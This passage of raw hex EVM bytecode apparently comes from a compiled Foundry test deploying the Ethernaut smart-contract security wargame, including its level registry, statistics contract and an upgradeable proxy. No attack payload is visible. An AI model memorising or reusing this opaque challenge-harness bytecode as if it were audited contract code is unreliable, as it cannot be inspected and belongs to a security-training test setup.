5d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d3